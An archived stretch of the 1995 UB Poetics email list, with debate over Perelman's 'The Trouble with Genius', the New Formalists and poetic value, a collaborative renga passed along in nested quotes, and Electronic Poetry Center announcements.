dear david kellogg--actually, one of the most intriguing things and positive things about THE TROUBLE WITH GENIUS is the part where Perelman seems to suggest (I'll find passage if people want) that the aesthetic of, say, Stevens is preferable to that of Pound and Zuk---There's a point at which he claims that the problem with the writers his book focusses on is that they MADE LARGER CLAIMS for their work than they could have achieved and at least Stevens and others didn't do this---I find this incredibly interesting--even if Perelman, I suppose for obvious reasons, doesn't make this CENTRAL to his book----Bests, chris Stroffolino (Ron and Maria--i too appreciate the democracy of this list and have met people to "usher" me places.....)

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602. Ryan Knighton

Re: favourite care word: "you"

Fri 18 Aug 1995

The Inevitable REnga:

>>>

>>>>

>>>>

>>>

603. **Ryan Knighton**
Re: GAPPED
Fri 18 Aug 1995

Since the Blasercon is somewhat fresh still, can somebody tell me if Blaser's use of "the Gap" is another term for "outside" or "other" as in his Collected Books essay abt Spicer? I encounterd it in Sharon Thesen's Mean Drunk Poem, if that helps.

Thanks millions

↑ Index

604. **maria damon**
Re: favourite care word: "you"
Fri 18 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> The Inevitable REnga:
>
>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>murphy>>>>>>>>>>>>>>>>>>>>
>> lurkers
>
>>>>>>>>>>>>>>>r>>>>>>>>>>>>>>>>>>>

>>> rengaside
>
>>>

>
>>cabri>>>>>>>>
>>
>
>>>>>>>>>>>>>>>>>>>

606. **Joseph Zitt**
Re: "marketing strategies"
Fri 18 Aug 1995

On 18 Aug 95 at 8:32, Gwyn McVay wrote:

> *debunking the entire notion of "free verse," never mind composition by field. They seem stuck back a few decades ago, trying to debunk WCW's*

What is "composition by field"? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

607. **Louis Cabri**
just frabjous
Fri 18 Aug 1995

I get embarrassed whenever I try to change anyone's opinion.
I've come around to your way of thinking.
Persons outside my ethnic group. Sorry for the confusion.

↑ Index

608. **Curt Anderson**
Re: clean
Fri 18 Aug 1995

Jordan:

I think that what's good about experimental writing is the willingness to trust an instinct for what's interesting in verse, both within and without established forms and traditions -- for "experimental" writing merely codifies itself on a quicker cycle than more mainstream poetry. What moves me the most about "experimental" writing are those patches when I don't consciously know why I'm attentive. As for a sacrificial experimental writer, I can only hope that I am both obscure and recognized enought to be disposed of.

Curt Anderson

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609. **Sheila E. Murphy**
Re: favourite care word: "you"
Fri 18 Aug 1995

>On Wed, 16 Aug 1995 22:19:47 -0700,
>Sheila E. Murphy <[redacted]> wrote:
>
>>On 8/16, Charles Alexander writes:
>>
>>>> In the books were dreams and in the dreams were books.
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>>>>>> but narrow in the waist or waspish Sunday years ago
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>>>>>> & opining, heavy humid air, cumulus amusing against the
>>>>>> bleached ribcage ripcorded into compassed wind
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>>>>>> flicka my best friend and the storm in the glass of water's
>>>>>> halfway pertinent incision we keep making safe for ignorance
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>>>>>> pockets in small furniture intended house sequentially several
>>>>>> mountains away but it wasn't, you know, a big tango
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>>>>>> no ideas but the woven fabric the texture so to speak was at the dry
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>>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
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to be
>>>>>> of such suchness. In the nooks were creams and in the streams were

hooks.
>>>>>> All melded like striated film leftover in the pastel seeds of darkness
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>>>>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
>>>>>> of subject's object status, violent transformation
>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>>>>and in the u-turns were bookmobiles rounding angles considered
>>>>shrill as pine left in the acres to be aging
>>>flawlessly, flutes sing genderless in trio, surprised
>>by how quiet effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten

↑ Index

610. **Aldon L. Nielsen**
Re: Meet the New Formalists / Just like the Old Formalists
Fri 18 Aug 1995

---

but less well-read --
does the phrase "first time as tragedy, second time as farce" seem appropriate here --
several books now out on the subject in USA, George, but look through a few issues of _The Formalist_ for a roundup --

what's most peculiar, to me, about this is that only practioners of _certain_ forms and certain rhetorical modes seem to qualify as formalists to this bunch (by which I mean _that_ bunch) -- part of their argument is that modernism turned against "the very thing that makes verse verse," a statement that reveals not only ignorance of much Pound (and certainly Eliot), but that seemingly refuses to recognize other formal modes of organizing poems besides meter & rhyme (odd, given the English poem's origins in alliterative verse) --

Moore & Niedecker remain two of my favorite formalists --

& Ron -- That's a _good_ neighborhood to buld a mansion in if you have a fleet of cadillacs to keep in running order! besides, it's ggod to know there's a cola machine nearby when you're up all night shooting television sets in your living room -- (good, as well as ggod)

↑ Index

611. **Thomas Bell**
Re: favourite care word: "you"
Sat 19 Aug 1995

<
maria damon writes

In message <[redacted]> UB Poetics discussion group
writes:
> The Inevitable REnga:
>
>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>murphy>>>>>>>>>>>>>>>>>>>
>> lurkers
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>>>>>>>>>>>>>>r>>>>>>>>>>>>>>>>>>>

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> >>>>>> gives gracious problem: fanatical snacks, landscape of
> >>>>>> flicka my best friend and the storm in the glass of water's
> >>>>>> halfway pertinent incision we keep making safe for ignorance
> >>>>>> (inspection
> >>>>>> denied for not knowing how credenza was meant) & neo-colonizing
> >>>>>> pockets in small furniture intended house sequentially several
> >>>>>> mountains away but it wasn't, you know, a big tango
> >>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
> >>>>>> kook!"
> >>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >>>>>> warehouse, curls
> >>>>>> no ideas but the woven fabric the texture so to speak was at the dry
> >>>>>> cleaners
> >>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
> >>>>>> the chair is sad, alas, and i've lusted tootles' livers
> >>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
> >>>>>> Flaubert because we're waiting all throughout eternity for moments to be
> >>>>>> of such suchness. In the nooks were creams and in the streams were hooks.
> >>>>>> All melded like striated film leftover in the pastel seeds of darkness
> >>>>>> falling like a counterirritant around the manchineel. Likewise
> >>>>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
> >>>>>> of subject's object status, violent transformation
> >>>>> la Ste. Therese into beaming cumulus apokoinu switchback
> >>>>>and in the u-turns were bookmobiles rounding angles considered
> >>>>shrill as pine left in the acres to be aging
> >>>flawlessly, flutes sing genderless in trio, surprised
> >>by how quiet effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to
  go ahead

↑ Index

613. **David Kellogg**
Re: "marketing strategies"
Sat 19 Aug 1995

On Fri, 18 Aug 1995, Gwyn McVay wrote:

> *My sense of the "new formalists" is that there is a strong thread among them, Timothy Steele and Dana Gioia for example, that is interested in debunking the entire notion of "free verse," never mind composition by field. They seem stuck back a few decades ago, trying to debunk WCW's "Red Wheelbarrow," insisting that it has no prosody and is not a poem, et cetera. I believe there are other poets who use (and often abuse, cut up, lop off, etc.) received forms, like Molly Peacock, who don't subscribe to the Steeleian-Gioian mindset.*

Certainly that describes Steele: if anybody else on the planet has read his "Missing Measures: Modern Poetry and the Revolt Against Meter," I have a dilemma that you could help me resolve:

(a) obtuse or

(b) insane?

I can't make up my mind.

If Gioia is trying to debunk free verse now, then he's changed his mind of late; his much-cited essay "Notes on the New Formalism" makes much of the fact that he writes both free and traditionally metered verse. If only his exercises in either were any good....

Since somebody asked: a good critical essay on the NFs is by Alan Shapiro (who should be put in the Peacock camp, tho he seems even less of a fellow traveller) published in Critical Inquiry a few years back, and republished in his *In Praise of the Impure*. Shapiro resents being called a New Formalist, and he explains why pretty well.

Cheers,
David
~~~
~~~

614. Kenneth Goldsmith
Hard Press/Lingo WWW Site Is Up
Sat 19 Aug 1995

The Hard Press/Lingo WWW Site is up in basic form. Currently, you can access selected pieces from "Lingo 4". New works are being added each week and within a few weeks, most of the issue should be available. We are also working on putting "Lingo 1/2/3" online. Links & other small press pages are in store for the future. All in good time. Keep checking the site as it is very much under construction:

http://crocker.com/~jongams

========== Kenneth Goldsmith
http://wfmu.org/~kennyg/ [redacted] [redacted]

↑ Index

615. Loss Glazier
EPC.News.3
Sat 19 Aug 1995

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     ____   ____  ____       /   /   /   / /   /         New URL effective 9/1/95       EEEE
PPPPP  CCCCC    ____________________________________       EE /   PP PP  CC  C/
|                          |      EEE    PPPPP  CC   / |       ELECTRONIC POETRY
CENTER     |     __EE  /_ PP |__ CC  C __|__                          |    /  EEEE/
PP/    CCCCC/    /|   http://writing.upenn.edu/epc    |
__/_________________________/ |___________________________________|
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E P C . N e w s * Special Issue * No. 3 (August 1, 1995)

ELECTRONIC POETRY CENTER
Annual Report
July 1995

The following information details transactions of the Electronic Poetry Center (EPC), a World-Wide Web based site for poetry and poetics housed at the State University of New York at Buffalo. Information about its resources as of the end of July, 1995 are presented in this report.

I. NUMBER OF TRANSACTIONS

Number of transactions per month:

Month	Transactions
1/95	7935
2/95	7940
3/95	10370
4/95	11994
5/95	13458

Counts only include directories having ten or more transactions per month.

II. POETICS

The EPC maintains resources related to the Poetics Program at Buffalo, SUNY Buffalo, including the Wednesdays at Four Plus calendar, and the archive of the Poetics discussion list. Also maintained are files of syllabi and other pedagogically relevant materials. At present, the Poetics archive comprises 24 files and a total of roughly 9.6 million bytes.

III. ITEMS "PUBLISHED"

The Electronic Poetry Center, comprised of roughly 640 files in 85 directories, accomplishes the bulk of its "publishing," in addition to its Poetics files and the publication of RIF/T magazine, in three main areas: the author library, electronic journals it distributes, and information on print small presses it provides. Following is information on these three areas.

1. Authors Presently Linked (35 authors)

* Charles Alexander
* John Ashbery
* Charles Bernstein
* Lee Ann Brown
* Basil Bunting
* John Cage
* Andy Clausen
* Larry Eigner
* Benjamin Friedlander
* Chris Funkhouser
* Elena Garro
* Lydia Gil
* Loss Pequen~o Glazier
* Jorge Guitart
* Matthew Huddleston
* Michael Joyce

* Robert Kelly
* Judith Kerman
* Richard Kostelanetz
* Joel Kuszai
* Hank Lazer
* Jackson Mac Low
* Nathaniel Mackey
* Sheila E. Murphy
* A.L. Nielsen
* Charles Olson
* Peter Quartermain
* Joan Retallack
* Jim Rosenberg
* Jerome Rothenberg
* Leslie Scalapino
* Susan Schultz
* Kenneth Sherwood
* Martin Spinelli
* Katie Yates

2. Journals Currently Distributed/Housed at the EPC (12 Journals; approx 88 issues / 402 files) Does not include journals to which links are provided (housed elsewhere)

The following selected electronic poetry journals are distributed by the Electronic Poetry Center. Unlike many Internet sites, these journals are provided in collaboration with their editors to provide texts that are as "authoritative" as possible.

* Brink / Plymouth, Devon, UK
* DIU / Albany
* Experioddi(cyber)cist / Florence, AL
* Inter\face / Albany
* Passages: A Technopoetics Journal / Albany, NY
* Poemata - Canadian Poetry Assoc. / London, Ontario
* Juxta/Electronic / Charlottesville, VA
* RIF/T: Electronic Space for New Poetry, Prose, & Poetics
* Segue Foundation/Roof Book News / New York
* TREE: TapRoot Electronic Edition / Lakewood, Ohio
* TREE: TapRoot Electronic Edition (Hypertext) / Lakewood, Ohio
* We Magazine / Santa Cruz
* Witz / Toluca Lake, CA

3. Listings of Print Small Presses (Approx. 70 files/items)

The EPC provides listings for print small press publications. In addition to information about sources of information about small presses, and lists published both in the U.S. and U.K. of experimental magazines, the following files are presently offered in the categories, mags, presses, and sources.

_Magazines_____
antenym
chain
compound.eye
coppertales
elephant
first.intensity
impercipient
interruptions
kiosk
littlemagazine
meaning
na.ideophonics
olson.minutes
open.letter
pbriefs
poetry.ny
raddle
situation
skylab
southerly
tinfish

_Presses_____
avenue.txt
avenue_b_list
bdeck.txt
generator
herisson
leave
meow
meow.spring_95
o_books
potes.txt
public.works.apr95
reality.street
roof.txt
segue-p.txt

st-hill.txt
story_line
sun_and_moon
tailspin
texture
viet
wellsweep

Prepared by Loss Pequen~o Glazier, Director, EPC, July 31, 1995 in cooperation with Ken Sherwood, Projects Director, and Charles Bernstein, Poetics Program, SUNY at Buffalo.

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616. **Loss Glazier**
NEW_URL_for_EPC
Sat 19 Aug 1995

Announcement: http://writing.upenn.edu/epc

ELECTRONIC POETRY CENTER
> C h a n g e o f U R L

Please make special note of the fact that the EPC will be moving to a new URL as of September 1, 1995. This move, which has taken many, many hours of work to effect, has been made for the purpose of having a much simpler address for "readers" and contributors to the Center. Instead of the old:

http://writing.upenn.edu/internet/library/e-journals/ub/rift

You will now find the EPC at:

http://writing.upenn.edu/epc

which we all think makes much better sense! I will continue to leave the old URL "open" for a while until people get used to the new site.

For those of you who have links to the EPC from other sites, please change your link to the new URL. There are new features and there will be more graphics, sound, and just plain (or html) poetry!

(PS. Please don't use the new URL until Sept. 1. Though the new location is much more prominent, I'm still stamping out the bugs)

See you at our new digs!

↑ Index

617. **Ron Silliman**

Value in Poetry

Sat 19 Aug 1995

The question of a "bad" poet or poem in the "parallel tradition," to borrow Corn's vocabulary, really calls up the question of value, which is what I think Bob addresses in Genius. While Pound and Stein make pretty explicit claims for their genius (and Joyce was certainly willing to play the part, tho more cautious in his statements), Zukofsky seems to have been far more defensive about the issue, and ultimately does not stake his work on that. What I think Bob is after is a fresh rereading of all 4 that (1) reads them beyond the transcendentalist heuristics of their ardent fans, who see only glimmers of revealed knowledge (they're not alone in this sycophantic reaction: Spicer, Kerouac and others have all called it forth. Even Merwin gets it for heaven's sake) and (2) looks at what it may be in their own writing that calls forth such nonsense as Kenner, Davenport and Terrell have spewed forth. A very distinct critical problem from the one put forth, say, by the New Critics, who shunned that fawning stance in favor of ultraprofessionalism. Where Bob gets in trouble, and it's minor quibbling on my part to call it that (but to put on the title as much as anything), is in not being focused at all points on which is the target of a given reading. So in that sense he tries to do too much, which oddly replicates what all 4 of those poets do in their masterworks.

I don't, by the way, think Bob is announcing himself Pro-Stevens over any of those four (give me that cite, Chris!), tho if you look at the recent work (in Raddle Moon or the chapbook that Ben Friedman did, _Chaim Soutine_, the degree to which Bob is primarly a social satirist (as is Charles B) really comes to the fore. It's an interesting genre to see get such large play and worth noting that both Bob and Charles have generally stayed away from anything of "epic" proportions.

The problem of value for my generation is I think sticky. Certainly value exists, but it is not a fixed, transcendental term in my world and that relativism is what drives the Bob Doles of poetry (and the Ross Perots of poetry, too, like Ed Foster) around the bend. Any one of us could name a poet, or several, whose work we do not connect with, because it shares little in the way of our own values. In my case, it would be, say, Susan Howe, whose work seems to me always tepid on the page and appealing to values off the page for its interest. But those are my values and I'm conscious of that. I'm sure that I fit into this same role for other readers too, and that's how the world ends up with surplus values that cause slippage and surprises for us all. Which is why the poetry of 20 years from now won't look the way I expect (or hope or fear) it might, nor the way you imagine either.

But I do think that our parallel tradition (quote unquote) adheres and evolves in interesting, positive ways because there is a broader range of shared values, some Venn diagram of which would put myself, Susan Howe, John Taggart, Larry Fagin, Antler and Joy Harjo all into the same circle. And this is what makes discourse possible.

The problem is one of knowing where, at any given moment, to put the emphasis.

Ron Silliman
[redacted]

↑ Index

618. **Aldon L. Nielsen**
Re: delayed response
Sat 19 Aug 1995

Maria: that was the best renga yet, by far!

Since onbody else has responded to Corn's possibly rhetorical question -- yes, I have changed my mind as a result of reading posts on the poetics line -- one example -- I had thought, after reading _A Call in the Midst of the Crowd_ that Alfred Corn must be a witty and thoughtful writer -- having had a few days to review his passed along post, I now see that I must have been badly mistaken.

(for "onbody" read "nobody" --- also read Joan retallack's _Errata Suite_ for all you need to know about error)

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619. **Charles Alexander**
Re: favourite care word: "you"
Sat 19 Aug 1995

On Fri, 18 Aug 1995 19:20:44 -0700,
Sheila E. Murphy <[redacted]> wrote:

>>On Wed, 16 Aug 1995 22:19:47 -0700,
>>Sheila E. Murphy <[redacted]> wrote:
>>
>>>On 8/16, Charles Alexander writes:
>>>
>>>>> In the books were dreams and in the dreams were books.
>>>>>>> And flew through windows, lightning green and fine morning
>>>>>>> First inverted whistle of a cardinal in the poplar
>>>>>>> The book and the oboe on the grass under sun and cloud

>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
>>>>>>> The caravan of windows to what they flee
>>>>>>> These lace curtains, more gauze than bondage, more
>>>>>>> Mollycoddled than aware, thin-spined and pebbling
>>>>>>> but narrow in the waist or waspish Sunday years ago
>>>>>>> Over coffee topped with whipped cream, the Times blowing
>>>>>>> & opining, heavy humid air, cumulus amusing against the
>>>>>>> bleached ribcage ripcorded into compassed wind
>>>>>>> kissing the weatherwoman between her breasts as she
>>>>>>> gives gracious problem: fanatical snacks, landscape of
>>>>>>> flicka my best friend and the storm in the glass of water's
>>>>>>> halfway pertinent incision we keep making safe for ignorance
>>>>>>> (inspection
>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>>>>>>> pockets in small furniture intended house sequentially several
>>>>>>> mountains away but it wasn't, you know, a big tango
>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>>>>>> kook!"
>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>>>>>> warehouse, curls
>>>>>>> no ideas but the woven fabric the texture so to speak was at the dry
>>>>>>> cleaners
>>>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
>>>>>>> Flaubert because we're waiting all throughout eternity for moments to be
>>>>>>> of such suchness. In the nooks were creams and in the streams were hooks.
>>>>>>> All melded like striated film leftover in the pastel seeds of darkness
>>>>>>> falling like a counterirritant around the manchineel. Likewise
>>>>>>> sandpaper juxtaposed with seasoned instruments and recently soft fruit
>>>>>>> of subject's object status, violent transformation
>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>>>>>and in the u-turns were bookmobiles rounding angles considered
>>>>>shrill as pine left in the acres to be aging
>>>>flawlessly, flutes sing genderless in trio, surprised
>>>by how quiet effort really is or is not, fast enough to sleep
>>through thunderstorms, arm over thigh until light shakes

>petals free of names that rain across known skin forgotten
other than prints, trace free of cloth, slow memory night

↑ Index

620. **Charles Alexander**
Re: favourite care word: "you"
Sat 19 Aug 1995

On Sat, 19 Aug 1995 01:18:02 MDT,
Louis Cabri <[redacted]> wrote:

>> >On Wed, 16 Aug 1995 22:19:47 -0700,
>> >Sheila E. Murphy <[redacted]> wrote:
>> >
>> >>On 8/16, Charles Alexander writes:
>> >>
>> >>>> In the books were dreams and in the dreams were books.
>> >>>>>>> And flew through windows, lightning green and fine morning
>> >>>>>>> First inverted whistle of a cardinal in the poplar
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>> >>>>>>> Mollycoddled than aware, thin-spined and pebbling
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>> >>>>>>> Over coffee topped with whipped cream, the Times blowing
>> >>>>>>> & opining, heavy humid air, cumulus amusing against the
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>> >>>>>>> gives gracious problem: fanatical snacks, landscape of
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>> >>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> >>>>>>> warehouse, curls
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>> >>>>>> cleaners
>> >>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
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>> >>by how quiet effort really is or is not, fast enough to sleep
>> >through thunderstorms, arm over thigh until light shakes
>> petals free of names that rain across known skin forgotten
>> alive in our hearse hurts, projective nurse if she is to
> go ahead
and dance, composing instead of straining muscles, far eyes

↑ Index

621. Marjorie Perloff
Re: troubles with genius
Sun 20 Aug 1995

Having been the reader for the Cal Press of Bob P's "Trouble with Genius," I'm reading some of the comments here with puzzlement. I think what Bob is doing is diagnosing modernism as a larger construct--not just the four writers in question. And I certainly don't think he prefers Stevens to Pound for being less ambitious (moreover, Stevens had exactly the same "genius" notions in his own way) but rather is showing the terrible dilemma--still ours today--of wanting on the one hand to write a difficult and complex culturally informed poetry and yet speak to a large audience. Do we think this problem has been solved? As for

Ron's comments on the silly things Kenner and Davenport say, what silly things?? I think Davenport is one of the most brilliant critics we have (also a terrific writer). And Kenner, whatever his limitations, can do rings around almost anyone writing on poetry today. Why do we really need to play these games?

Marjorie P.

↑ Index

622. **George Bowering**
Re: troubles with genius
Sun 20 Aug 1995

Speaking as a Canadian reading USAmerican commentary, I have to agree with Marjorie this time. Plus this: Kenner (okay , he's a Canadian) and Davenport can WRITE. I will read them on subjects I dont otherwise much care about. I would add Gass to this short list, too.

↑ Index

623. **George Bowering**
Re: "marketing strategies"
Sun 20 Aug 1995

I guess David Kellogg's message proves my point. I buy and otherwise acquire lots and lots of poetry books, mags etc, have done for years, and I have never heard of any of those "new formalist" poets he mentions. I guess they dont make it out of the US.

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624. **George Bowering**
Re: Mitchellmania, Harpermania
Sun 20 Aug 1995

Ron S. is right again. And it aint just lit and baseball. Can you imagine being Montgomery Clift's friend? Or james Dean?

↑ Index

625. **George Bowering**
Re: "marketing strategies," CAP-L, & the gap (mind it or lose it)
Sun 20 Aug 1995

I'd like to say thanks to all those who helpt fill me in on the "new formalists."

↑ Index

626. Alan Sondheim
Re: Mitchellmania, Harpermania
Sun 20 Aug 1995

On Sat, 19 Aug 1995, George Bowering wrote:

> Ron S. is right again. And it aint just lit and baseball. Can you
> imagine being Montgomery Clift's friend? Or james Dean?
>
Yeah, the latter -

Alan

↑ Index

627. Chris Stroffolino
Re: Value in Poetry
Sun 20 Aug 1995

Ron (and, by implication, everybody): The ghostly "presence" Stevens serves in this book (aside from a way to show Zukofsky' s 's fawning) uses him as a kind of "value" to question the book's own gstated guiding assumptions: He's first included in a list of other poets (ELIOT, Williams, HD, and Moore) who, according to perelman "produced poems, rather than life-writing, There is a sense of finitness [as opposed to finitude] and social lacation that is not there in Pound and Stein, certainly." (page 3) This distinction is problematic, of course,and at first seems to be something that is NOT attractive to Perelman (as in Jed Rasula's WAX MUSEUM book)--they lacked a "project" (etc.). I'd want to argue this point and show that the distinction between life-writing and mere "poems" does not seem to apply to many of these poets. But, then I see that Perelman uses Stevens as an example (though, yes, he's not praising Stevens' work per se) of the value of "poems" over "life-writing" and credits him with "a clear, delicately elegaic presentation of the problem"(223)--this is pretty much the standard avant-garde line on him (see Don Byrd---certainly no L's poet's POETICS OF THE COMMON KNOWLEDGE), yet because Perelman is interested in showing what he considers to be the "trouble" with the ZUK, STEIN, POUND....his use of Stevens to 'affirm that there is something outside..." makes me question just what is meant by Perelman's assertion that Stevens work "fits within a socially well- defined sense of poetry." And this opens up the whole can of worms of what is SUBVERSION, of why we read....Do we really believe the canon-makers (or ourselves if we happen to be canon-makers) when they say "this is subverive; read it" any more than we believed the highschool teachers and their force-fed frost. Besides, the (start again).... I guess my question viz-a-viz "debunking" was this---If this

book explores (at times relying on the fallacy ad hominen to the point ?) the problematics of a certain kind of writing, and shows the weaknesses of it, the delusions, etc--why doesn't it even attempt to posit an alternative in Moore, HD, etc? Isn't it possible that poetry that DOESN'T ADVERTISE ITSELF as "social criticism" as much as some others do, may be at least as effective--- Presumably, Perelman doesn't find such "empowerment" in any of the modernists (the four he mentions being the CLOSEST they get)--we'll see, I guess, if the answer to marjorie's question--has the problem been solved---comes up when he discusses the work of the in some sense WILLFULLY MARGINALIZED L poets he discusses (though the early "separatist' stance is no doubt crumbling....)-- So, I guess I'm doing that De Man thing--- "the second you rebuke a previous writer for his blindness, you immediately replicate his gesture." -------well, enuf, chris

↑ Index

628. Sheila E. Murphy

Re: favourite care word: "you"

Sun 20 Aug 1995

>>>>>> In the books were dreams and in the dreams were books.
>>>>>>>> And flew through windows, lightning green and fine morning
>>>>>>>> First inverted whistle of a cardinal in the poplar
>>>>>>>> The book and the oboe on the grass under sun and cloud
>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
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>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>>>>>>>> bleached ribcage ripcorded into compassed wind
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>>>>>>>> flicka my best friend and the storm in the glass of water's
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>>>>>>>> mountains away but it wasn't, you know, a big tango
>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>>>>>>> kook!"

>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>>>>>>> warehouse, curls
>>>>>>>> no ideas but the woven fabric the texture so to speak was at the dry
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>>>>>flawlessly, flutes sing genderless in trio, surprised
>>>>by how quiet effort really is or is not, fast enough to sleep
>>>through thunderstorms, arm over thigh until light shakes
>>petals free of names that rain across known skin forgotten
>other than prints, trace free of cloth, slow memory night
with customs planted in them to retract what almost fastens onto

↑ Index

629. **Charles Alexander**
Re: favourite care word: "you"
Sun 20 Aug 1995

On Sun, 20 Aug 1995 07:59:38 -0700,
Sheila E. Murphy <[redacted]> wrote:

>>>>>>> In the books were dreams and in the dreams were books.
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>>>>>>>>> First inverted whistle of a cardinal in the poplar
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>>>>>>>>> Go endlessly, an obtuse Prussian blue, it binds
>>>>>>>>> The caravan of windows to what they flee
>>>>>>>>> These lace curtains, more gauze than bondage, more
>>>>>>>>> Mollycoddled than aware, thin-spined and pebbling
>>>>>>>>> but narrow in the waist or waspish Sunday years ago
>>>>>>>>> Over coffee topped with whipped cream, the Times blowing
>>>>>>>>> & opining, heavy humid air, cumulus amusing against the
>>>>>>>>> bleached ribcage ripcorded into compassed wind
>>>>>>>>> kissing the weatherwoman between her breasts as she
>>>>>>>>> gives gracious problem: fanatical snacks, landscape of
>>>>>>>>> flicka my best friend and the storm in the glass of water's
>>>>>>>>> halfway pertinent incision we keep making safe for ignorance
>>>>>>>>> (inspection
>>>>>>>>> denied for not knowing how credenza was meant) & neo-colonizing
>>>>>>>>> pockets in small furniture intended house sequentially several
>>>>>>>>> mountains away but it wasn't, you know, a big tango
>>>>>>>>> when the attorney general came, selah hales said, "Dias, oh,ho,
>>>>>>>>> kook!"
>>>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>>>>>>>>> warehouse, curls
>>>>>>>>> no ideas but the woven fabric the texture so to speak was at the dry
>>>>>>>>> cleaners
>>>>>>>>> piping hot and gloved-in somewhere unsalted, perched on prescience
>>>>>>>>> the chair is sad, alas, and i've lusted tootles' livers
>>>>>>>>> the odor day toy a cello day dis chevys a bo coo daughter chose encore
>>>>>>>>> Flaubert because we're waiting all throughout eternity for moments
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>hooks
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>>>>>>>>> All melded like striated film leftover in the pastel seeds of darkness
>>>>>>>>> falling like a counterirritant around the manchineel. Likewise
>>>>>>>>> sandpaper juxtaposed with seasoned instruments and recently

soft fruit
>>>>>>>>> of subject's object status, violent transformation
>>>>>>>> la Ste. Therese into beaming cumulus apokoinu switchback
>>>>>>>>and in the u-turns were bookmobiles rounding angles considered
>>>>>>>shrill as pine left in the acres to be aging
>>>>>>flawlessly, flutes sing genderless in trio, surprised
>>>>>by how quiet effort really is or is not, fast enough to sleep
>>>>through thunderstorms, arm over thigh until light shakes
>>>petals free of names that rain across known skin forgotten
>>other than prints, trace free of cloth, slow memory night
>with customs planted in them to retract what almost fastens onto
the unhinged wing of night's stern and contracted falsity

↑ Index

630. **Keith Tuma**
Re: Value in Poetry
Sun 20 Aug 1995

Interesting to read Ron, Chris, and Marjorie on Bob P's book. I've only managed to get part way through it so far, so can't respond directly, BUT for me the most provocative prose I've read by Bob was the review-essay in _American Literary History_ a year or so ago, where the project of Charles B gets juxtaposed to the project of Kamau Brathwaite. There it seems to me that Brathwaite comes out on top, gets the nod, whatever, which given the conversation Ron and Chris have been having is curious, no? For Brathwaite's project is surely epic (though not without elements of satire). At any rate it seems to offer--in that essay at least--the model of a politics of poetry Bob P can endorse. Perhaps the essay gets reworked or included in the forthcoming book. If I'm right about Bob P endorsing the Brathwaite model, the implications of that endorsement probably need some discussion. Anybody? The essay ("Write the Power") is in ALH 6.2 (Summer 1994).

Keith Tuma

↑ Index

631. **maria damon**
Re: favourite care word: "you"
Sun 20 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >>>>>> In the books were dreams and in the dreams were books.
> >>>>>>>> And flew through windows, lightning green and fine morning

> >>>>>>>> First inverted whistle of a cardinal in the poplar
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> >>>>>>>> gives gracious problem: fanatical snacks, landscape of
> >>>>>>>> flicka my best friend and the storm in the glass of water's
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> >>>>>>>> sandpaper juxtaposed with seasoned instruments and recently

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> >>>>>>>> of subject's object status, violent transformation
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> >>>through thunderstorms, arm over thigh until light shakes
> >>petals free of names that rain across known skin forgotten
> >other than prints, trace free of cloth, slow memory night
> with customs planted in them to retract what almost fastens onto
that sea anemone so like new associate professors clinging singlemindedly

↑ Index

632. **maria damon**
Re: favourite care word: "you"
Sun 20 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> On Sun, 20 Aug 1995 07:59:38 -0700,
> Sheila E. Murphy <[redacted]> wrote:
>
> >>>>>>> In the books were dreams and in the dreams were books.
> >>>>>>>>> And flew through windows, lightning green and fine morning
> >>>>>>>>> First inverted whistle of a cardinal in the poplar
> >>>>>>>>> The book and the oboe on the grass under sun and cloud
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> >>>petals free of names that rain across known skin forgotten
> >>other than prints, trace free of cloth, slow memory night

> >with customs planted in them to retract what almost fastens onto
> the unhinged wing of night's stern and contracted falsity

↑ Index

633. **Charles Alexander**
Re: favourite care word: "you"
Sun 20 Aug 1995

On Sun, 20 Aug 1995 13:35:31 -0500,
maria damon <[redacted]> wrote:

>In message <[redacted]> UB Poetics discussion group
>writes:
>> >>>>>> In the books were dreams and in the dreams were books.
>> >>>>>>>> And flew through windows, lightning green and fine morning
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>> >>>>>>>> Edward Kennedy Ellington! "Tootin' Through the Roof"
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>> >>>>>>>> warehouse, curls
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the dry
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>> >>>>>>>> Flaubert because we're waiting all throughout eternity for moments
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>> > darkness
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>> >>>>>>shrill as pine left in the acres to be aging
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>> >>>>by how quiet effort really is or is not, fast enough to sleep
>> >>>through thunderstorms, arm over thigh until light shakes
>> >>petals free of names that rain across known skin forgotten
>> >other than prints, trace free of cloth, slow memory night
>> with customs planted in them to retract what almost fastens onto
>that sea anemone so like new associate professors clinging singlemindedly
